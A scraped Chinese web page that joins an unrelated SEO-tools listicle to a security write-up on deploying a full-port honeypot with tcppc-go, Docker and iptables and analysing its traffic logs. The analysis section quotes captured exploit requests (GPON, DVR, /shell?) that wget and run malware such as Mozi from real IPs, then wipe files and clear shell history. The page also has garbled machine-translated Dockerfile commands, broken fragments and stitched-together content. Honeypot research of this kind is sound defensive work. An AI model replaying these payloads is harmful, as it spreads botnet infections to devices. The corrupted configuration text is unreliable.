总结:SEO站长对网站数据分析常用的工具有哪些？

　　总结:SEO站长对网站数据分析常用的工具有哪些？

　　我们在做网站SEO优化的时候，不仅需要给网站添加优质的内容、合理的内链、优质的外链等>数据进行详细分析，这是因为，从网站的数据中，可以了解到网站的实际运行情况，发现问题及时调整，避免影响网站@ > 发展。

　　而 SEO 在分析 网站 数据时会使用多种工具。接下来，我们来看看SEO们经常使用哪些工具来分析网站数据？

　　根据以往使用百度站长工具的情况，我们认为：

　　1、网站管理工具

　　

　　网站管理工具在网站运营中发挥着重要作用。网管工具可以更好更快的展示网站内容，有利于网站优化，百度站长资源平台是一个很好的网站管理工具。

　　2、seo查询工具

　　seo查询工具包括站长工具、5118、爱站等，这些工具的功能类似，但准确率会有一定的差异。 SEO人员可以选择使用哪种工具。

　　3、外链查询工具

　　外链对网站的排名也有一定的影响。因此，SEO人员在完成网站的外链后，需要了解外链是否有效。如果没有，那就再做一次。多个外部链接也没有用。

　　4、网站安全

　　

　　SEO人员要经常检查网站的安全性，保证网站可以正常运行，以利于网站的长远发展。

　　5、网站统计工具

　　网站统计工具也叫站长统计工具。比较有名的是CNZZ工具。主要功能是通过添加CNZZ的统计代码，快速分析网站的IP访问量和PV值。 ，以及访问区域等详细信息。 CNZZ 是目前最强大的免费站长工具。

　　总之，SEO人员一定要精通各种工具的使用，才能更好的提升网站的排名，也让网站更好的运作。

　　蝙蝠侠IT

　　转载需要授权！

　　分析总结:黑客大神总结：全端口蜜罐的部署过程与数据分析

　　一、简介

　　在当前的网络环境下，流量种类繁多，包括网络空间扫描流量、搜索引擎爬虫流量、恶意软件检测流量等。例如mirai病毒的telnet爆破过程中，其目标IP为随机的。生成（不包括内网IP和一些特殊IP）。前段时间介绍了SSH蜜罐cowire的Docker部署和数据展示。有兴趣的读者可以查看文章《Cowrie蜜罐与Elasticsearch+Kibana可视化的Docker部署流程》。本文将继续蜜罐的方向，介绍一个全端口蜜罐。

　　一般来说，大多数蜜罐都是针对服务运行的，例如前面提到的 ssh 蜜罐。通过模拟服务的正常协议交互，完成握手阶段，进行数据传输，可以基于这个蜜罐记录攻击者的行为。但是，如上所述，mirai病毒定位目标是通过随机IP算法生成的；同时，云主机的SSH端口每天也收到各种爆破流量，于是有了一个想法，那么有没有其他端口也受到扫描或者攻击。要获取这些信息，使用 tcpdump 显然是不可行的。虽然可以接收各种扫描的流量，但是如果没有系统协议栈的支持，它无法知道连接的负载；并且使用多个端口打开是不现实的，毕竟端口数量多到不方便管理。为满足上述要求，需要一个可以接受全端口流量的蜜罐。

　　基于以上背景，本文部署全端口蜜罐，简要分析半个月内收到的日志。整体文章结构如下：首先介绍使用tcppc-go和docker搭建一个可以记录连接信息的蜜罐，然后使用iptables将端口转发到特定端口，最后分析两周的 采集 数据。

　　二、全端口蜜罐部署2.1 需求分析

　　首先，让我详细解释一下这个蜜罐的具体要求。

　　1. 能够接受来自客户端的连接（攻击或扫描），无需任何特定的协议交互，可以接收并记录用户发送的数据，只要客户端还在发送数据就继续运行；

　　2.可以记录日志，包括连接信息、包内容等；

　　3.能够接收系统的全端口流量。

　　本着不重复造轮子的想法，我在github上搜索了“全端口蜜罐”，找到了一个可以满足功能的程序tcppc-go。除了满足上述要求外，它还可以支持UDP协议，甚至可以加载SSL证书进行SSL握手。此部署过程中不考虑 SSL 和 UDP。它的github主页也介绍了如何捕获全端口的数据负载并通过iptables进行转发，但是本文没有使用他的命令，请慎重尝试。

　　2.2 部署流程

　　tcppc-go 是一个用 Go 语言编写的程序。虽然有一些go语言基础，但是不想折腾基础语言环境，我用docker搭建了这个蜜罐，也方便没有go基础的读者直接部署。因此，在本次部署过程中，和之前的Cowrie蜜罐一样，都是采用docker部署方式，但是直接输出原创日志，没有数据展示。本次蜜罐部署环境如下：

　　2.2.1 构建镜像

　　Dockerfile 是构建镜像的模板。 Docker会根据Dockerfile的程序逐步构建镜像。具体说明，下面的 Dockerfile 中添加了简单的注释。想要详细了解命令使用的读者可以自行搜索。

　　###使用golang作为基础镜像提供者运行环境

　　来自 golang

　　#设置时区变量

　　ENV TZ=亚洲/上海

　　#调整时区，从github拉取对应源码，编译

　　运行 ln -snf /usr/share/zoneinfo/$TZ /etc/localtime && echo $TZ > /etc/timezone &&

　　去获取 /md-irohas/tcppc-go &&

　　cd /go/src//md-irohas/tcppc-go &&

　　去构建 main.go

　　#跳转到生成的程序位置

　　WORKDIR /go/bin/

　　#执行命令

　　cmd ["./tcppc-go", "-T","86400","-w","log/tcppc-%Y%m%d.jsonl"]

　　上述Dockerfile的主要构建过程如下。一、拉取golang作为基础镜像，为程序提供go语言环境；然后，设置时区变量后，将时区调整为上海地区，如果不调整，默认比上海时间慢8小时；二、使用 go 命令获取程序源代码；最后输入对应的路径进行编译。

　　新建文件夹dockertest（后续操作会在该路径下执行），根据以上内容编辑Dockerfile文件，在文件夹中执行命令：`docker build -t allport:1.0 . `

　　-t参数是设置最终生成的镜像的名称和版本号，可以自己调整；程序会运行一段时间，大概3-5分钟，主要是拉取go基础镜像和过程中获取github源码。

　　以上命令会输出以上信息，说明蜜罐已经搭建成功；测试镜像是否构建成功并可以运行，首先创建一个日志文件夹，用于后续将文件夹挂载到镜像上并保存日志。执行以下命令。

　　docker -it -d --restart=always --net=host -v `pwd`/log:/go/bin/log/all_port:1.0

　　此时可以看到日志文件夹中已经生成了日志文件。非 root 用户可能需要调整文件夹的权限。在docker运行命令中，使用--net=host让镜像使用宿主机的网络，这样端口就可以直接绑定到系统了。以后使用iptable时，只需要指定端口即可。 tcppc-go 默认绑定 tcp/udp 端口​​号 12345。可以通过telnet 0 12345进行测试，点击命令即可查看日志中的日志。

　　

　　按照上面的步骤，可以出现上面的信息，说明镜像已经构建成功，可以成功运行，可以获取日志了。但目前只开放一个端口进行监控。下面介绍通过iptables将本地端口转发到tcppc-go的12345端口。

　　2.2.2 调整iptables进行端口转发

　　请注意，如果命令错误使用 iptables 可能会导致机器无法访问，或者影响其他正常服务，尤其是 SSH 端口。一定要注意你的命令是否正确。最好在自己的测试机或虚拟机上测试命令，确保命令正确，没有任何效果。以下命令都是在我的机器上测试没有问题的，但是每个人的情况不一样，请慎重。

　　我们先解释一下最简单的命令 iptables -t nat -A PREROUTING -p tcp -i eth0 --dport 5000:8000 -j REDIRECT --to-ports 12345。

　　我们来解释一下命令的具体内容。此命令将在防火墙的 nat 表 (-t nat) 中的预路由 (-A PREROUTING) 位置创建一条规则。端口范围为 5000-8000 (--dport 5000:800 0） 的 @0）tcp 协议 (-p tcp) 的流量将被重定向到端口 12345 (-j REDIRECT --to-ports 1234 5）.

　　执行命令（外网IP），telnet your_machine_ip 5000，可以发现连接成功；以上命令不支持使用部署蜜罐的机器"0.0.0.0"或者环回地址测试会回显拒绝服务消息，这是由于到iptables的有效位置。

　　上述命令虽然可以将端口转发到蜜罐的端口，但是蜜罐日志的输出中缺少端口信息，所有流量都呈现为访问12345端口，不利于具体端口行为分析因此，需要对上述命令进行调整，记录端口转发过程日志。下面详细介绍实际部署过程中用到的命令。为了验证命令的可行性，会明确原蜜罐的防火墙规则，并逐步重新加载规则。

　　执行命令查看nat表中已有的规则，iptables -t nat -L -nv，得到如下图的输出。

　　上图输出中的最后一条规则是由刚刚执行的命令生成的。先执行命令删除这条规则，然后执行命令iptables -t nat -D PREROUTING 5，其中5对应这条规则的编号，编号可以通过以下命令获得（iptables -t nat -L -nv --行号）。后续如果发现规则有问题，可以根据编号删除对应的规则。注意不要删除正常规则。

　　一、启用 iptables 日志

　　1. 在文件/etc/rsyslog.conf、/var/log/iptables.log 中添加一行

　　2. 为了像 ssh 日志一样回滚日志，请将文件名 /var/log/iptables.log 添加到文件 /etc/logrotate.d/syslog 中。配置后文件内容如下。

　　3. 执行restart service service rsyslog restart 使配置生效。

　　二、iptables 日志规则

　　执行以下两条命令。

　　iptables -t nat -A PREROUTING -p tcp -i eth0 --dport 5000:8000 -j LOG --log-level 6 --log-prefix "port_for"

　　iptables -t nat -A PREROUTING -p tcp -i eth0 --dport 5000:8000 -j REDIRECT --to-ports 12345

　　以下是对上述命令含义的简要说明。第一个命令是记录传入流量。日志级别 6 对应于前一个。日志前缀是port_for，没有意义，可以自己定义。第二条命令将流量重定向到12345端口。经过测试，如果上述两条命令的顺序颠倒，虽然可以重定向，但是没有日志输出。

　　测试：执行命令telnet your_machine_ip 5000，可以在/var/log/iptables.log看到实时输出。

　　对于其他端口，只需要修改端口范围，命令类似。如果命令正确，但无法连接，请检查是否是云主机没有开放端口。

　　2.2.3 部署流程总结

　　在之前的内容中，本文介绍了如何通过docker部署tcppc-go程序，并简要介绍了使用iptables完成端口转发功能。部署在自己机器上的读者在执行iptables命令时一定要谨慎。最好在虚拟机或测试机上测试命令，避免不必要的麻烦。

　　三、全端口蜜罐数据分析

　　上一节已经详细介绍了全端口蜜罐的部署过程。按照步骤部署，现在可以有两个来源的数据，一个是iptables在端口转换过程中产生的端口转换日志（TCP连接）；另一个是来自 tcppc-go 程序 采集 的连接信息（包括负载）。下面分别用Python来分析这两个方面的数据。主要使用的第三方库是pandas数据分析库，使用jupyter-notebook的形式方便分析过程。分析的日志时间为2020年5月24日至2020年6月7日，其中5月24日进行部署，日志只有半天数据，其余时间全是数据。这部分分析侧重于数据分析，不详细描述代码实现。 github地址后面提供，包括jupyter的分析过程。

　　注意：因为我的云主机还自带SSH/honeypot（22/2222端口），以及SSH蜜罐（23/2323)，所以这部分服务由上一篇提供文章@的>中介绍的Cowrie蜜罐处理，这部分日志没有体现在下面的日志中，可能日志数量有偏差。使用iptables的转发范围包括(24-2221）,(2324 -65535）.

　　3.1 iptables端口转换日志数据分析

　　图1.日志数量（按天）

　　从图1可以看出，蜜罐部署后，两天后日志数量趋于稳定。如果排除 5 月 24 日，剩余 14 天的平均每天日志数约为 35,000。

　　图2.去重日志数

　　虽然每天的日志数量很大，但是去重的IP/端口数量（图2）显示每天的IP数量趋于稳定，大致在2400左右；端口数量为14000 左右）。

　　

　　图3.日志中的访问端口排序

　　图3显示，在15天的日志中，访问最多的端口是445。加上最近的SMB漏洞，不难理解这个端口的流量如此之高；其次是8088（最有可能是WEB服务）、1433（SQL Server默认端口）。图3主要对所有日志的端口进行排序。对每个访问端口的ip进行去重后，我们可以查看访问次数最多的端口。

　　图4.日志中的访问端口（IP去重）排序

　　从图4可以看出，IP去重再排序后，第一个端口和第二个端口之间的差距并没有那么大，通过第二个和第三个端口的端口也发生了变化。上图中以天为单位进行描述，下面的描述使用了一个比较小的时间间隔，30分钟。下面的去重是指在时间间隔内分别对IP或端口进行去重。

　　图5.日志数量（每 30 分钟）

　　从图5可以看出，IP数量趋于稳定，但日志数量不稳定，波动较大；在去重日志中，端口数多于IP数，存在扫描行为或同一个IP连接多个端口的行为。如果没有扫描行为，源IP和目的端口的数量应该相等；日志数量明显高于其他两个数字的时间点，说明有IP多次访问一个端口（或多个端口），导致多条日志。上图时间跨度太大。让我们通过一天的日志来说明这个之前的结论。

　　文章0@>

　　图文章1@>25日日志数

　　在图6的识别中，在类型1椭圆处，日志数量和目的端口数量激增，数量相等，说明有一定IP在进行端口扫描行为；在类型2椭圆处，IP数和端口数相等，但日志数大于前者，说明某个IP多次访问了某个端口（或多个端口）。虽然在Type 2中，有可能某些IP在进行小范围的端口扫描，但相对而言，Type 1的这种现象更能说明IP在进行端口扫描的行为。为了验证结论，这里打印了type 1 location time的log。具体从图7可以看出确实存在扫描行为。

　　文章2@>

　　图文章3@>端口扫描行为日志

　　文章4@>

　　图文章5@>国家分布

　　图 8 绘制了所有日志的地理分布。分析中使用了第三方库geoip2。在全国分布中，除中国第一外，*敏*感*词*和荷兰的原木数量最多。我在部署HTTP代理蜜罐的过程中也发现了这样的情况，有大量*敏*感*词*IP在访问。

　　3.2 TCP连接数据负载分析

　　在TCP加载日志的处理中，发现tcppc-go生成的日志是json格式的，数据加载已经经过base64编码。虽然 pandas 支持从 json 文件中获取数据，但是有些数据类型，比如数组，并不能完美支持。这次我们主要检查TCP payload中一些攻击的流量。解码数据载荷后，我们可以直接搜索一些特殊字符。根据之前部署ssh蜜罐的经验，很多恶意样本都是通过wget下载的；同时，一些HTTP协议有webshll服务。下面根据“wget”和“shell”两个字符串进行分析。这部分日志很大，这里只是一些例子。

　　POST /GponForm/diag_Form?images/ HTTP/1.1rnHost: 12文章3@>0.0.1:80rnConnection: keep-alivernAccept-Encoding: gzip, deflaternAccept: */*rnUser-Agent: 你好，WorldrnContent-Length: 118rnrnXWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=``;wget+:58149/Mozi.m+-O+->/tmp/gpon80;sh+/tmp/gpon80&ipv=0

　　经搜索，上述payload是利用GPON漏洞[1]。

　　GET /cgi-bin/supervisor/CloudSetup.cgi?exefile=cd%20/tmp;%20wget%20%20-O%2012.bins.sh;curl%20-O%20% 20-O%2011.bins.sh;%20chmod%20777%20*;%20sh%2011.bins.sh;%20sh%2012.bins.sh HTTP/< @1.0rnrn

　　DVR 漏洞[2]。

　　GET /shell?cd%20/tmp;wget%20http:/%5C/23.254.164.76/ally.sh%20-O%20gf ;%20chmod%20777%20gf;./gf%20DVR HTTP/1.1rnHost: xx.xx.xx.xx:5500rnConnection: keep-alivenAccept-Encoding: gzip, deflaternAccept: */*rnUser-Agent: python -requests/2.文章1@>0 CPython/2.文章1@>6 linux/2.文章1@>32-754.el6.x86_64rnrn

　　GET /shell?cd%20/tmp;wget%20http:/%5C/185.172.110.227/sys6;%20chmod%20777%20sys6; %20./sys6 HTTP/1.1rnHost: xx.xx.xx.xx:5502rnConnection: keep-alivenAccept-Encoding: gzip, deflaternAccept: */*rnUser-Agent: python-requests/< @2.文章1@>0 CPython/2.文章1@>6 Linux/2.文章1@>32-754.29.< @2.el文章1@>x86_64rnrn

　　GET /shell?cd%20/tmp%20%7C%7C%20cd%20/run%20%7C%7C%20cd%20/;%20wget%20;%20chmod%20777%20axisbins.sh; %20sh%20axisbins.sh;%20rm%20-rf%20axisbins.sh;rm%20-rf%20*;%20clear;history%20-c;%20clear;history%20-w HTTP/1.@ >1rnHost: xx.xx.xx.xx:5501rnConnection: keep-alivenAccept-Encoding: gzip, deflatenAccept: */*rnUser-Agent: python-requests/2.文章1@>0 CPython/2.文章1@>6 Linux/2.文章1@>32-754.el文章1@>x86_64rnrn

　　GET /shell?cd+/tmp;rm+-rf+*;wget+:51082/Mozi.a;chmod+777+Mozi.a;/tmp/Mozi.a+jaws HTTP/1.1rnUser-Agent : 你好，worldrnHost: xx.xx.xx.xx:80rnAccept: text/html,Application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8rnConnection: keep-alivernrn

　　上述命令不知道什么产品易受攻击。但是这些payload是TCP的第一个包，说明这些攻击不需要交互，其原理应该与mirai僵尸网络病毒一致，通过随机生成IP地址攻击主机。同时日志中还有各种爬虫和服务检测流量，这里就不一一列举了。

　　3.3 数据分析总结

　　本节分析采集收到的日志，主要是对端口转换过程中产生的端口日志进行详细分析，分析日志数量、端口分布、地域分布等，以及可以找到扫描行为。 ，并知道哪些是被探测最多的端口；对于负载分析部分，已知的两个指纹，wget和shell，主要用于直接匹配，可以找到很多日志。这些连接没有之前的交互，直接开始下载恶意样本。 .

　　四、总结

　　本文文章主要关注全端口蜜罐的部署和数据分析。使用 iptables 和开源软件 tcppc-go 记录日志，然后详细分析端口转换日志，并简要列出几个攻击样本。通过本文的分析，我们可以发现幸存的云主机的流量行为分布：端口、访问IP、地域、查看各种负载；通过端口转发日志，可以看到端口扫描行为，通过负载信息，可以看到各种样本的存在。不过本文的方法主要是离线分析，未来有没有机会开发实时显示系统；同时采用非结构化数据库存储负载信息。

　　本文使用的dockerfile和分析端口转发日志的jupyter分析流程已经上传到allporthoneyport。

　　参考文献文章

　　1()

　　2()